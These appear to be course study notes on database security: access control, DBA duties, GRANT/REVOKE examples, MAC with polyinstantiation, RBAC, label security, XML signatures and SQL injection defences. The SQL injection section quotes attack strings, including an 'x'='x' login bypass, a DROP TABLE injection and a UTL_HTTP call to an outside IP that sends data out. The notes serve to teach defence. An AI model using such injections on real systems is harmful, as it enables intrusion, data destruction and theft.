

Database Security

▼ Introduction to Database Security Issues

Database security deals with protecting data against unauthorized access, misuse, or corruption. It covers several areas such as **legal**, **ethical**, **policy**, and **system-level** concerns.

Types of Security Issues

1. Legal and Ethical Issues:

Laws and ethical standards restrict access to sensitive or private data (e.g., personal or medical information).

2. Policy Issues:

Organizations or governments define what information can or cannot be made public, such as credit ratings or confidential records.

3. System-Level Issues:

Security must be implemented at appropriate levels — hardware, operating system, or database management system (DBMS).

4. Data Classification and Access Levels:

Some systems require multiple security levels (e.g., *top secret*, *secret*, *confidential*, *unclassified*), ensuring users can only access data for which they have clearance.

Threats to Databases

Threats can compromise three major **security goals**:

1. Integrity:

Ensures data accuracy and consistency. It is lost when data is improperly modified (inserted, updated, deleted) by unauthorized users.

2. Availability:

Ensures that authorized users can access data when needed.

3. Confidentiality:

Prevents unauthorized disclosure of information, which can lead to privacy violations or legal issues.

Control Measures

To protect databases from these threats, four major **control mechanisms** are used:

1. **Access Control** – restricts who can access which parts of the database.
 2. **Inference Control** – prevents users from deducing sensitive information indirectly.
 3. **Flow Control** – prevents data from leaking from higher to lower security levels.
 4. **Encryption** – encodes data to prevent unauthorized viewing.
-

Types of Database Security Mechanisms

1. Discretionary Security (DAC):

Grants users specific privileges (e.g., read, insert, update, delete) on certain data objects.

2. Mandatory Security (MAC):

Enforces multilevel security by assigning classification levels to both data and users.

3. Role-Based Security:

Access is controlled based on user roles within the organization rather than individual permissions.

▼ Control Measures

To protect databases from unauthorized access, misuse, or data leaks, **four main control measures** are implemented:

1. Access Control:

- Prevents unauthorized users from accessing the database system.

- Implemented through **user accounts and passwords** that manage login and privileges.
- Ensures only authorized users can view or modify specific data.

2. Inference Control:

- Protects **statistical databases** by preventing users from deducing confidential information about individuals from summary data.
- For example, in a population statistics database, users can access aggregated data but not personal details.

3. Flow Control:

- Prevents information from flowing in ways that violate the organization's security policies.
- Ensures data cannot move from a higher security level to a lower one where it might reach unauthorized users.
- Hidden information pathways that cause data leaks are known as **covert channels**.

4. Data Encryption:

- Protects sensitive data, especially during transmission over networks.
- Data is **encoded** using algorithms; only users with the correct **key** can **decrypt** it.
- Common encryption techniques include **public key encryption** (used in web-based transactions) and **digital signatures** (used in secure communications).

▼ Database Security and the DBA

Summary – Database Security and the DBA

The **Database Administrator (DBA)** plays a crucial role in maintaining the **security** and **integrity** of a database system. The DBA acts as the **central authority** responsible for managing user access and enforcing the organization's security policies.

The DBA operates through a **special system account** (also called a **superuser** or **system account**) that has higher privileges than regular users — similar to a **root account** in an operating system.

Key Responsibilities of the DBA:

1. Account Creation:

The DBA creates new user accounts and assigns passwords to control who can access the database system.

2. Privilege Granting:

The DBA grants specific privileges (such as read, insert, update, delete) to users or groups based on their roles and needs.

3. Privilege Revocation:

The DBA can revoke (remove) previously granted privileges when a user no longer requires them or violates policies.

4. Security Level Assignment:

The DBA assigns users and data to appropriate **security levels** (e.g., confidential, secret, top secret) according to the organization's **mandatory access control policy**.

The DBA ensures database security through **account management**, **privilege control**, and **security classification**.

- **Actions 1–3** deal with **discretionary authorization**,
- **Action 4** enforces **mandatory authorization**.

▼ Access Control, User Accounts, and Database Audits

Database **access control** ensures that only authorized users can access or modify data. Every person or application that needs to use the database must first obtain a **user account** from the **DBA**.

1. User Accounts and Authentication

- The DBA creates a **unique account number** and **password** for each authorized user or group.

- To access the DBMS, users must **log in** using these credentials.
- The DBMS validates the account and password before granting access.
- User account information is stored securely in an **encrypted table or file** (with fields like `AccountNumber` and `Password`).

2. Tracking User Activity

- The DBMS keeps track of all user operations during each **login session**, from login to logout.
- Each operation is linked to the user's **account number** and **device ID** to maintain accountability.
- Tracking is especially crucial for **update operations** that modify the database, allowing the DBA to identify who made specific changes.

3. Database Log and Audit Trail

- The **system log**, originally used for transaction recovery, can be extended to record:
 - User account numbers
 - Device IDs
 - Operations performed
- When **tampering** or suspicious activity is suspected, a **database audit** is performed.
- An audit involves reviewing the **log records** (or **audit trail**) to trace unauthorized or illegal operations.
- This is especially vital in **sensitive systems** such as banking databases, where multiple users perform frequent updates.

▼ Sensitive Data and Types of Disclosures

Sensitive data refers to information that requires protection due to its confidentiality or importance. Not all databases contain sensitive data, but when only some parts are sensitive, enforcing proper security becomes challenging.

1. Factors That Make Data Sensitive

Data can be classified as sensitive for several reasons:

1. **Inherently Sensitive:**

The data itself is confidential (e.g., a person's salary, medical condition like HIV/AIDS).

2. **From a Sensitive Source:**

The source of the data must be kept secret (e.g., information from an informer).

3. **Declared Sensitive:**

The data owner explicitly marks it as sensitive.

4. **Sensitive Attribute or Record:**

Specific fields or records (e.g., employee salary attribute) are declared sensitive.

5. **Sensitive in Relation to Other Data:**

Data that becomes sensitive when combined with other information (e.g., a location tied to a confidential event).

2. Role of Administrators

The **Database Administrator (DBA)** and **Security Administrator** together enforce organizational security policies to determine who can access certain attributes or records. Before granting access, they must consider three key factors:

1. **Data Availability:**

Data under update should be temporarily inaccessible to prevent users from seeing inaccurate values (handled by concurrency control).

2. **Access Acceptability:**

Only authorized users should access data. Even non-sensitive data may be restricted if it could indirectly reveal sensitive information.

3. **Authenticity Assurance:**

Access depends on user identity, time, or behavior patterns (e.g., access allowed only during working hours, or monitoring query combinations that might infer sensitive data).

3. Security vs. Precision

- **Security:** Ensures sensitive data is never disclosed and access is strictly controlled.
- **Precision:** Maximizes the availability of non-sensitive data while still protecting sensitive information.

There is often a **trade-off between security and precision**—achieving perfect security may require limiting data access, while maximizing precision risks accidental exposure of sensitive data. The ideal goal is **maximum precision with complete security**.

▼ Relationship between Information Security and Information Privacy

While **information security** and **information privacy** are closely related, they focus on different aspects of data protection.

- **Information Security** deals with **protecting systems and data** from unauthorized access, misuse, or damage.

It involves technical measures such as:

- Authentication
- Encryption
- Access control
- Firewalls and intrusion detection

Essentially, security ensures that only authorized individuals can access information.

- **Information Privacy**, on the other hand, focuses on **how personal information is collected, stored, and used**.

It is about ensuring that personal data is handled according to **agreed-upon terms and ethical principles**.

Privacy emphasizes:

- Limiting or preventing the collection of personal data
- Ensuring that collected data is used only for legitimate and approved purposes

A simple definition of privacy is the **individual's ability to control the terms under which their personal information is acquired and used.**

Key Relationship

- **Security is the foundation for privacy** — without secure systems, privacy cannot exist.
- **Privacy goes beyond security** — it governs the **appropriate use** of information, not just its protection.

▼ Discretionary Access Control Based on Granting and Revoking Privileges

Discretionary Access Control (DAC) is a method used in database systems to **restrict access** to data based on the **identity of users** and the **privileges granted** to them. It gives users the ability to decide (at their discretion) who can access the data they own.

24.2.1 Types of Discretionary Privileges

DAC in relational databases is mainly implemented through **granting** and **revoking** privileges.

- **Authorization Identifier:**

Refers to a *user account* or *group of users*.

Privileges are assigned to these accounts at two levels:

1. Account Level Privileges

These privileges apply to the account as a whole, regardless of specific relations.

Examples:

- `CREATE SCHEMA` — create a schema

- **CREATE TABLE** — create a base relation
- **CREATE VIEW** — create a view
- **ALTER** — modify schema (add/remove attributes)
- **DROP** — delete tables or views
- **MODIFY** — insert, delete, or update tuples
- **SELECT** — retrieve data using queries

These privileges determine what operations a user can perform within the database system.

2. Relation (Table) Level Privileges

These apply to individual **relations or views**.

Examples:

- **SELECT** — read tuples from a relation
- **UPDATE, DELETE, INSERT** — modify tuples (can be restricted to certain columns)
- **REFERENCES** — allow use of a relation's attributes in integrity constraints

Each relation has an **owner** (usually the creator) who automatically gets all privileges and can grant them to others.

These privileges are represented in an access matrix, where:

- Rows = users/accounts
- Columns = database objects (tables, views, attributes)
- Each cell = types of privileges the user has on that object

24.2.2 Specifying Privileges Using Views

- **Views** are a powerful way to control access.
- If a user A wants to let user B see only certain **columns** or **rows** of a table R:

- A can create a **view V** that includes only the allowed data.
- Then A grants **SELECT** privilege on **V** to B.
- This restricts B's access without exposing the full relation.

24.2.3 Revoking of Privileges

- Privileges can be **temporary**.
- The **REVOKE** command is used to **withdraw** privileges once they are no longer needed.
- Example: a user is granted **SELECT** for a task and it is revoked afterward.

24.2.4 Propagation of Privileges Using the GRANT OPTION

- A privilege can be granted **with or without** the **GRANT OPTION**.
 - If granted **with GRANT OPTION**, the recipient can further **grant** that privilege to others.
- Example:
 - A (owner) grants **SELECT** on R to B **with GRANT OPTION**.
 - B can then grant **SELECT** on R to C.
 - If A revokes B's privilege, the system must **automatically revoke** all privileges B gave to others.
- If a user receives the same privilege from multiple sources (say from A2 and A3),
the privilege remains active **until all sources revoke it**.

Hence, the DBMS must track all grant relationships to ensure revocation is handled correctly and completely.

In Summary

Concept	Description
DAC	Users control access to data they own.

Concept	Description
Grant	Provides privileges to other users.
Revoke	Withdraws privileges from users.
GRANT OPTION	Allows users to pass privileges to others.
Views	Used to limit what data others can access.
Access Matrix	Represents which user has what privileges on which objects.

Key idea:

Discretionary Access Control provides flexible, user-managed control over data access through granting and revoking privileges — forming the basis of SQL's authorization system.

▼ Example: Granting and Revoking Privileges

Setup

- Four accounts are created: **A1**, **A2**, **A3**, **A4**.
- Only **A1** should be able to create base relations.

SQL command:

```
GRANT CREATETAB TO A1;
-- or in SQL2:
CREATE SCHEMA EXAMPLE AUTHORIZATION A1;
```

- **A1** now owns the schema **EXAMPLE** and can create tables.
- Tables created: **EMPLOYEE** and **DEPARTMENT** → **A1** is owner and has **all privileges**.

Granting Privileges

1. Grant **INSERT** and **DELETE** to **A2** (without propagation):

```
GRANT INSERT, DELETE ON EMPLOYEE, DEPARTMENT TO A2;
```

- A2 can insert/delete tuples but **cannot grant** these privileges to others.

1. Grant SELECT to A3 (with propagation):

```
GRANT SELECT ON EMPLOYEE, DEPARTMENT TO A3 WITH GRANT OPTION;
```

- A3 can retrieve data and **grant SELECT to other accounts**, e.g., A4:

```
GRANT SELECT ON EMPLOYEE TO A4;
```

- A4 cannot propagate the privilege further (no GRANT OPTION).

Revoking Privileges

- If A1 revokes SELECT from A3:

```
REVOKE SELECT ON EMPLOYEE FROM A3;
```

- The system **automatically revokes** SELECT from A4, because A3 had granted it.

Using Views to Limit Access

- To give A3 limited access:

```
CREATE VIEW A3EMPLOYEE AS  
SELECT Name, Bdate, Address  
FROM EMPLOYEE  
WHERE Dno = 5;
```

```
GRANT SELECT ON A3EMPLOYEE TO A3 WITH GRANT OPTION;
```

- **A3** can now only see specified columns and rows, and can propagate this SELECT privilege.

Attribute-Specific Privileges

- Allow **A4** to update only the **Salary** attribute:

```
GRANT UPDATE ON EMPLOYEE (Salary) TO A4;
```

- UPDATE and INSERT privileges can be **attribute-specific**, while SELECT and DELETE are usually controlled via **views**.

▼ Specifying Limits on Propagation of Privileges

Propagation Limits on Privileges

When a privilege is granted with the **GRANT OPTION**, the recipient can grant it to other accounts. Propagation limits are techniques to **control how widely and deeply privileges can be passed**.

1. Horizontal Propagation

- **Definition:** Limits the **number of accounts** to which a privilege can be granted.
- **Example:** If A1 grants SELECT on EMPLOYEE to A2 with horizontal propagation = 1:
 - A2 can grant the SELECT privilege to **at most 1 other account** (e.g., A3).
- **Purpose:** Controls the **breadth** of privilege dissemination.

2. Vertical Propagation

- **Definition:** Limits the **depth of granting privileges** down a chain of accounts.
- **Mechanism:**
 - Vertical propagation = 0 → recipient cannot propagate the privilege (equivalent to no GRANT OPTION).
 - Vertical propagation = j → recipient can grant the privilege to others, but must **reduce the vertical propagation number by at least 1**.
- **Example:** A1 grants SELECT to A2 with vertical propagation = 2:
 1. A2 now has GRANT OPTION and can pass the privilege to A3.
 2. When A2 grants to A3, vertical propagation must be ≤ 1 .
 3. A3 can grant further only if vertical propagation > 0 , but the number decreases with each grant.
- **Purpose:** Controls the **depth** of the privilege chain.

▼ Explanation

I understand why it can seem confusing at first—they're related, but **horizontal** and **vertical propagation** control privileges in **different dimensions**:

1. Horizontal Propagation (Breadth Control)

- **What it controls:** How many accounts a user can grant a privilege to.
- **Think of it as:** "Width" of propagation.
- **Example:**
 - A1 grants SELECT to A2 with **horizontal = 1**.
 - A2 can grant SELECT to **only 1 other account** (say A3).
 - Even if there are 5 other accounts (A4, A5, etc.), A2 cannot grant to more than 1.

Key idea: Limits the **number of recipients** at each level.

2. Vertical Propagation (Depth Control)

- **What it controls:** How many levels deep the privilege can be propagated down a chain.
- **Think of it as:** "Height" of propagation.
- **Example:**
 - A1 grants SELECT to A2 with **vertical = 2**.
 - A2 can grant to A3 with $\text{vertical} \leq 1$.
 - A3 can grant to A4 with $\text{vertical} \leq 0 \rightarrow$ A4 cannot propagate further.

Key idea: Limits the **chain length** or "levels" the privilege can travel.

Analogy

- **Horizontal:** How many people you can tell a secret to **directly**.
- **Vertical:** How many "generations" the secret can travel through.

▼ Mandatory Access Control (MAC) and Role-Based Access Control (RBAC) for Multilevel Security

1. Difference from Discretionary Access Control (DAC)

- **DAC:** Users are granted or revoked privileges at will. All-or-nothing approach.
 - **MAC:** Access is based on **security classifications** of both users (subjects) and data (objects). Users **cannot override** these rules.
-

2. Security Classification

- Data and users are classified into levels: **Top Secret (TS) $\geq$ Secret (S) $\geq$ Confidential (C) $\geq$ Unclassified (U)**.
 - Each user has a **clearance**; each object (relation, tuple, attribute) has a **classification**.
-

3. Bell-LaPadula Model Rules

1. Simple Security Property (Read Rule):

- A user **cannot read data above their clearance**.
- Example: A user with **C** clearance cannot read a **S** or **TS** object.

2. Star (*) Property (Write Rule):

- A user **cannot write data below their clearance**.
- Prevents high-level info from leaking to lower levels.

4. Multilevel Relations

- Each attribute A_i has a classification C_i , and each tuple has a **tuple classification TC** (highest among attribute classifications).
- The apparent key of a multilevel relation is the set of attributes that would have formed the primary key in a regular (single-level) relation
- A multilevel relation looks like:

```
R(A1, C1, A2, C2, ..., An, Cn, TC)
```

- Users see only data **at or below their clearance**. Data above their level may appear **filtered (NULL)**.

5. Filtering

- **Filtering:** Producing a view for a lower-level user where high-classified attributes appear as NULL.
- Example:
 - Employee "Smith" has Salary = 40,000 (C) and Job_performance = Fair (S).
 - User with **C** clearance sees Job_performance = NULL.
 - User with **U** clearance sees almost everything NULL except attributes $\leq U$.

In other cases, it is necessary to store two or more tuples at different classification levels with the same value for the apparent key.

This leads to the concept of polyinstantiation.

6. Polyinstantiation

- When a lower-level user updates a filtered tuple, **the system cannot overwrite higher-level data**.
- Solution: **create a new tuple at the lower classification** with the new value.
- Prevents **covert channels**, where users could infer high-level info by seeing nulls or differences.

▼ Example

Scenario

- You have a multilevel relation **EMPLOYEE**.
- The **Job_performance** of 'Smith' at **S-level** is **Excellent**.
- A **C-level user** sees the filtered view:

Name	Job_performance
Smith	NULL

- Now the C-level user tries to run:

```
UPDATE EMPLOYEE
SET Job_performance = 'Excellent'
WHERE Name = 'Smith';
```

Why the system cannot reject this update

- If the system **rejects the update**, the C-level user could infer information about the filtered tuple:

- “Hmm, I can’t update this tuple... maybe it exists at a higher level.”
 - This inference is a **covert channel** — the system unintentionally leaks information about sensitive data by responding differently depending on whether higher-level data exists.
-

How to handle it

- The system **creates a polyinstantiated tuple** for the C-level user instead of modifying the higher-level tuple.
- Resulting tuples:

Name	Job_performance	Classification
Smith	Excellent	S
Smith	Excellent	C

- Now the C-level user sees a tuple they can update without ever touching the higher-level data.
 - No information about the S-level data is leaked, and the covert channel is closed.
-

7. Key Points

- Multilevel security ensures **no data leaks from higher to lower levels**.
- **Filtering + polyinstantiation** allow safe updates by lower-level users.
- DAC and MAC can be **combined**: DAC manages discretionary privileges, MAC enforces mandatory security policies.

▼ Explanation

Context

- You have a **multilevel relation** (table) where each tuple/attribute has a **security classification**: $TS > S > C > U$.
- A lower-level user (e.g., classification C) sees only a **filtered version** of a tuple. Higher-level data (e.g., S) is hidden as **NULL** or not visible.

Example:

Name	Job_performance	Classification
Smith	Excellent	S

- A **C-level user** sees:

Name	Job_performance	Classification
Smith	NULL	C

The Problem

If the C-level user updates the filtered tuple (e.g., sets Job_performance = "Good"), the system **cannot overwrite the original S-level value** ("Excellent") — otherwise, the C-level user would be modifying higher-class data, which **violates mandatory access control rules** (no writing down).

- Overwriting higher-level data would allow **information leakage**, breaking multilevel security rules.

The Solution: Polyinstantiation

- The system **creates a new tuple at the lower classification** (C) instead of modifying the higher-level tuple.
- Both tuples now exist in the table:

Name	Job_performance	Classification
Smith	Excellent	S
Smith	Good	C

- The lower-level user sees their version.
- Higher-level users still see the original higher-level version.
- This prevents **covert channels** — lower-level users cannot infer sensitive high-level data.

✓ **Key Idea:**

When a lower-level user updates filtered data, the system **cannot overwrite higher-level data**, so it **creates a separate version (polyinstantiation)** for the lower-level user.

▼ Comparison between **Discretionary Access Control (DAC)** and **Mandatory Access Control (MAC)**

Discretionary Access Control (DAC)

- **Flexibility:** High; users or owners of data can grant/revoke privileges at their discretion.
- **Propagation:** Users can propagate access to others (e.g., via GRANT OPTION in SQL).
- **Vulnerability:** Susceptible to malicious attacks like Trojan horses because once a user has access, there is no strict control over how the data is used or further propagated.
- **Use case:** General-purpose databases, commercial applications, environments where flexibility is more important than rigid control.

Mandatory Access Control (MAC)

- **Flexibility:** Low; strict rules based on security classifications (e.g., Top Secret, Secret, Confidential, Unclassified).
- **Propagation:** No arbitrary propagation; subjects can only access data according to security policies (Bell-LaPadula model: **read down** and **write up** rules).
- **Protection:** Very high; prevents any unauthorized information flow and closes covert channels.
- **Use case:** Military, government, intelligence, or highly secure industrial applications where information leakage cannot be tolerated.

Summary Table

Feature	DAC	MAC
Flexibility	High	Low

Feature	DAC	MAC
Control over info	Limited (user discretion)	Strict (system-enforced)
Vulnerability	Susceptible to attacks	Very resistant to attacks
Use case	Commercial/general applications	Military, high-security environments

▼ RBAC

Role-Based Access Control (RBAC) is a system where:

- Permissions and privileges are **assigned to roles**, not directly to individual users.
- Users are then assigned to one or more **roles**.
- Example: A company may have roles like `Sales Manager`, `HR Reviewer`, or `Purchasing Agent`.

2. Roles and Privileges

- **Multiple users** can share the same role.
- Any privileges granted to a role are automatically available to all users in that role.
- This makes management easier, especially in large systems.

3. Sessions

- When a user logs in, they create a **session**.
- In a session, a user can **activate a subset of the roles** they have.
- Each session is tied to **one user**, but multiple roles can be activated within that session.

Example:

- User: Alice
- Roles: `Manager`, `HRReviewer`

- Session 1: Alice activates `Manager` → Can approve budgets.
 - Session 2: Alice activates `HRReviewer` → Can review leave requests.
-

4. Separation of Duties

- Some roles should **not be used together** to prevent fraud or collusion.
 - **Mutual exclusion:**
 - **Static:** Two roles can't be assigned to the same user at all.
 - **Dynamic:** Roles can be assigned, but cannot be active simultaneously in a session.
-

5. Role Hierarchy

- Roles can be organized in a hierarchy, reflecting **organizational authority**.
- A senior role automatically inherits the privileges of **junior roles**.

Example:

- `Employee` → `Manager` → `Director`
 - A `Director` automatically gets all privileges of a `Manager` and `Employee`.
-

6. Identity Management

- Each user has a unique identity (username plus extra info if needed).
 - RBAC systems help manage **authentication** and **access control** for these users efficiently.
-

7. Temporal Constraints

- Roles can have **time-based restrictions**.
 - Example: A role may only be active during business hours, or only for a specific workflow task.
-

8. Why RBAC is useful

- Flexibility: Works in large organizations.
- Policy-neutral: Can support both discretionary (DAC) and mandatory (MAC) policies.
- Supports workflow and task-specific access.
- Easier deployment and management, especially for web-based applications.

Disadvantages:

- Complexity in Large Organizations
- Initial Setup Cost
- Rigidity
- Over-privileged Roles
- Temporal Limitations
- Not Fine-Grained for Some Cases

▼ Label-Based Security and Row-Level Access Control

1. Row-Level Access Control

- Instead of giving access to an entire table or column, row-level access control allows the DBMS to control access **row by row**.
- Each row in a table can have its own access rules.
- This provides **fine-grained control**, which is more secure than only table-level permissions.

Example:

In an **EMPLOYEE** table, a manager can see only the rows of employees in their department, not all employees in the company.

2. Use of Labels for Data Sensitivity

- Each row is assigned a **label** indicating its sensitivity.

- Labels represent a hierarchy of sensitivity (like low, medium, high) or security levels.
- The label is used to determine who can **read or write** that row.

Example:

- Row 1: Salary = 50,000, Label = 2
 - Row 2: Salary = 100,000, Label = 5
 - A user with access level 3 can see row 1 but not row 2.
-

3. Session Label for Users

- Each user session is assigned a **default session label** by the DBA.
- This label represents the **highest level of sensitivity the user can access** during that session.

Example:

- User A has session label = 3 → can access rows with label ≤ 3 .
-

4. Label Security Policy

- A policy defined by the administrator specifies rules about how row labels are interpreted.
- The system **automatically checks** these rules whenever a user queries or modifies data.

Example:

- A policy might say: "Only HR managers can access rows with label ≥ 5 ."
 - When a non-HR user tries to query these rows, the system blocks access.
-

5. Integration with DAC

- Label Security works **on top of DAC (Discretionary Access Control)**.
- First, the system checks if the user is allowed to access the table (DAC).
- Then, it checks if the user can access specific rows based on labels.

Example:

- User has SELECT on **EMPLOYEE** table (DAC OK)
 - User session label = 2
 - Row label = 4 → access denied because $4 > 2$
-

6. Setting and Managing Row Labels

- Labels are stored in an **extra column** in the table.
 - Users can sometimes set labels themselves, but only within certain limits (between their session label and minimum allowed).
 - The DBA can set default labels for rows.
-

7. Security Checks on SELECT, UPDATE, DELETE, INSERT

- Label Security doesn't just affect SELECT (reading rows).
- It can also control who can **insert, update, or delete** rows.
- Every operation is checked **row by row** against the user's session label.

Example:

- User wants to UPDATE salary of a high-level employee (label = 5)
- User session label = 3 → UPDATE denied

▼ Access Control Policies for E-Commerce and the Web

1. E-Commerce Environment Challenges

- In **e-commerce**, all transactions happen electronically.
- Traditional database access control (DAC) uses predefined authorizations (like "user A can read table B").
- This simple approach **doesn't work well for e-commerce**, because:
 1. The environment is **dynamic**, with frequent changes in users, roles, and resources.

2. The **resources are broader** than traditional data—they include knowledge, experience, and digital assets.

Implication: Access control in e-commerce must be **more flexible** and capable of protecting a variety of objects, not just tables or records.

2. Content-Based Access Control

- Traditional access control only looks at **who** is accessing and **what type of operation** (read/write).
 - **Content-based access control** goes further: it examines the **actual content of the data** before granting access.
 - Example: Only employees can access documents where the content matches their department or project.
-

3. User Heterogeneity and Credentials

- E-commerce users are diverse: they differ in roles, qualifications, or other attributes.
- Policies based only on user IDs aren't sufficient.
- **Solution:** Use **credentials**—a set of properties describing the user (age, role, seniority, experience).

Example Policy Using Credentials:

Only permanent staff with 5+ years of service can access internal system documents.

4. Role of XML in Access Control

- XML is widely used for **document exchange** and is becoming central in e-commerce.
- XML access control serves two purposes:
 1. **Protect XML content** with encryption and digital signatures.

2. **Define access policies and user credentials** in XML format for standardization.
-

5. Directory Services Markup Language (DSML)

- DSML is an **XML-based standard** to communicate with directory services.
- Directory services are responsible for:
 - Authenticating users.
 - Providing credentials for access decisions.
- Using XML for policies and credentials makes submission and sharing **secure and uniform**.

Example:

- Some properties of a credential, like a username, may be visible to all.
 - Other properties, like seniority or access levels, are visible only to certain users.
-

6. XML Digital Signatures

- **Purpose:** Verify authenticity and integrity of XML documents or specific parts of documents.
- **Features:**
 - Can sign a **part of the XML tree**, not just the entire document.
 - Supports **countersigning** (multiple people can sign the same document).
 - Uses **canonicalization** to standardize the XML before signing (handles minor differences like spaces or line breaks).

Why it's different from PGP or SSL:

- PGP signs whole messages/files.
 - SSL secures the transmission channel but not the document itself.
 - XML signatures allow **fine-grained signing**, even in stored documents.
-

7. XML Encryption

- **Purpose:** Protect confidentiality of XML documents (full or partial) and non-XML data.
- **Features:**
 - The encrypted content is in **well-formed XML**, so it can be processed further.
 - Encrypts parts of documents, not just the entire document or transmission.
 - Works for documents in **persistent storage**, not just in transit.

Advantage: Unlike SSL or VPNs, XML encryption protects **specific pieces of information**, which is crucial for complex web or e-commerce applications.

8. Summary

- E-commerce access control must handle:
 - Dynamic, heterogeneous users and resources.
 - Content-aware policies.
 - Standardized, secure credentials and policy representation.
- XML plays a **central role** because:
 - Policies and credentials can be expressed in XML.
 - Digital signatures and encryption secure documents at a fine-grained level.
 - DSML standardizes authentication and credential handling.

Key Takeaway: XML-based access control allows **flexible, fine-grained, and standardized security** for modern e-commerce systems, supporting both data confidentiality and secure access policies.

▼ Explanation

1. Purpose

The main goal of an XML Digital Signature is to make sure that:

1. The XML document really **comes from who it says it does** (authenticity).
2. The document **has not been changed** since it was signed (integrity).

Think of it like a **sealed envelope with a signature**: if someone tampers with it, the seal breaks, and you know it's not original anymore.

2. Can sign part of an XML document

- XML documents are **tree-structured**, like this:

```
<invoice>
  <customer>Name: Alice</customer>
  <amount>100</amount>
  <date>2025-10-25</date>
</invoice>
```

- A digital signature doesn't have to cover the **whole document**.
- For example, you could sign **just the** `<amount>` **tag** to ensure no one changes it, while leaving `<customer>` unsigned.

Why it matters:

Sometimes you only care about **protecting sensitive parts** (like prices or passwords), not everything.

3. Countersigning

- Multiple people can sign the **same document or part of a document**.
- Example:
 - Alice signs the `<amount>` field.
 - Bob also signs the same `<amount>` field.

- This is called **countersigning**. It ensures that several parties **agree on the content**.
-

4. Canonicalization

- XML can be written in slightly different ways but still be equivalent.

For example, these are **logically the same** XML snippets:

```
<amount>100</amount>
```

```
<amount>
  100
</amount>
```

- The spaces and line breaks differ, but the data is the same.
 - **Problem:** If you sign the second version exactly as it is, the signature might fail when someone reads the first version.
 - **Solution: Canonicalization** "standardizes" the XML into a consistent format before signing.
 - This way, **minor differences like spaces or line breaks don't break the signature**.
-

Simple Analogy

- Imagine signing a contract:
 1. You can **sign only certain clauses**, not the whole contract.
 2. Multiple people can sign the same clause (countersigning).
 3. Before signing, everyone agrees on a **standard format** of the clause (canonicalization), so small formatting differences don't matter.

1. Signing = adding a digital signature

- In the physical world, signing a document means **writing your name on it** to show you approve it or that it came from you.
- In computers, **signing a document digitally** doesn't involve a pen. Instead:
 1. A **mathematical value** is created from the content of the document (called a **hash**).
 2. Your **private key** (part of a cryptographic key pair) is used to encrypt that hash.
 3. This encrypted hash becomes the **digital signature**.
- The signature proves two things:
 1. **Authenticity** – the document really came from you (because only you have your private key).
 2. **Integrity** – the document has **not been changed** (because any change would alter the hash and make the signature invalid).

▼ SQL Injection

SQL Injection is a critical security threat where an attacker manipulates an application's database queries by injecting malicious SQL code through user inputs. The goal is to trick the application into executing unintended commands on the database.

1. Methods of SQL Injection

The text describes three primary methods:

For example, the *dual* table is used in the FROM clause of SQL in Oracle when a user needs to run SQL that does not logically have a table name. To get today's date, we can use:

```
SELECT SYSDATE FROM dual;
```

The following example demonstrates that even the simplest SQL statements can be vulnerable.

```
SELECT TRANSLATE ('user input', 'from_string', 'to_string') FROM dual;
```

Here, TRANSLATE is used to replace a string of characters with another string of characters. The TRANSLATE function above will replace the characters of the 'from_string' with the characters in the 'to_string' one by one. This means that the *f* will be replaced with the *t*, the *r* with the *o*, the *o* with the *_*, and so on.

This type of SQL statement can be subjected to a function injection attack. Consider the following example:

```
SELECT TRANSLATE (" || UTL_HTTP.REQUEST ('http://129.107.2.1/') || ",
'98765432', '9876') FROM dual;
```

The user can input the string (" || UTL_HTTP.REQUEST ('http://129.107.2.1/') || "), where || is the concatenate operator, thus requesting a page from a Web server. UTL_HTTP makes Hypertext Transfer Protocol (HTTP) callouts from SQL. The REQUEST object takes a URL ('http://129.107.2.1/' in this example) as a parameter, contacts that site, and returns the data (typically HTML) obtained from that site. The attacker could manipulate the string he inputs, as well as the URL, to include other functions and do other illegal operations. We just used a dummy example to show conversion of '98765432' to '9876', but the user's intent would be to access the URL and get sensitive information. The attacker can then retrieve useful information from the database server—located at the URL that is passed as a parameter—and send it to the Web server (that calls the TRANSLATE function).

Method	Description	Example
SQL Manipulation	The most common type. It alters an existing SQL command, often by modifying a WHERE clause or adding a UNION operation.	Authentication Bypass: Original: <code>SELECT * FROM users WHERE username='jake' AND password='jakespasswd'</code> Injected: <code>... AND (password='jakespasswd' OR 'x'='x')</code> This makes the WHERE clause always true, bypassing the password check.
Code Injection	Adds entirely new SQL statements or commands by exploiting bugs that	An attacker could inject <code> ; DROP TABLE users; --</code> into an input field to terminate the intended query and execute a destructive command.

Method	Description	Example
	process invalid data. This can change the program's execution flow.	
Function Call Injection	Inserts calls to database or operating system functions into a vulnerable SQL statement.	In Oracle, an attacker could inject a function that makes a network call: <code>SELECT TRANSLATE('**')</code>

2. Risks and Motivations for Attackers

The text outlines several serious risks that make SQL Injection a high-priority threat:

- **Database Fingerprinting:** Figuring out the DBMS type (e.g., Oracle, MySQL) to use specific, known attacks.
- **Denial of Service (DoS):** Flooding the server or deleting data to make it unavailable to legitimate users.
- **Bypassing Authentication:** Gaining access to the system as an authorized user without knowing the password.
- **Identifying Injectable Parameters:** Using verbose error messages to learn about the database's structure and find vulnerable inputs.
- **Executing Remote Commands:** Running arbitrary commands on the database server, often through stored procedures.
- **Performing Privilege Escalation:** Exploiting logical flaws to gain higher levels of database access.

3. Protection Techniques

The text recommends several key defensive programming practices:

Technique	Description	Why it Works
Bind Variables (Parameterized)	Using placeholders (?) for user input, which	This is the most effective method. It separates SQL code from data, preventing

Technique	Description	Why it Works
Statements)	the database treats strictly as data, not executable code.	the interpreter from mistaking user input for a command. It also improves performance.
Filtering Input (Input Validation)	Sanitizing input by escaping or removing potentially dangerous characters (like single quotes).	Can block some simple attacks but is considered unreliable because the number of possible escape characters and encoding methods is too large to filter perfectly.
Function Security	Restricting permissions on database functions (both built-in and custom) to prevent their misuse.	Mitigates Function Call Injection attacks by ensuring that application users cannot execute powerful or dangerous functions like <code>UTL_HTTP</code> .

Analysis and Key Takeaways

1. **The Core Vulnerability:** SQL Injection exploits the **mixing of code and data**. When user input is directly concatenated into an SQL string, the database can no longer tell where the data ends and the command begins.
2. **Primary Defense:** The single most important and robust defense is using **Parameterized Queries (Bind Variables)**. This should be the standard practice for all database access code.
3. **Defense in Depth:** While parameterized queries are essential, a comprehensive strategy includes:
 - **Principle of Least Privilege:** The database account used by the application should have the minimum permissions necessary (e.g., no `DROP TABLE` rights, no access to system functions like `UTL_HTTP`).
 - **Proper Error Handling:** Returning generic error messages to users prevents "information leakage" that attackers use for fingerprinting.
 - **Input Validation:** While not sufficient on its own, validating input for type, length, and format (whitelisting) is a good secondary measure.

▼ Explanation

```
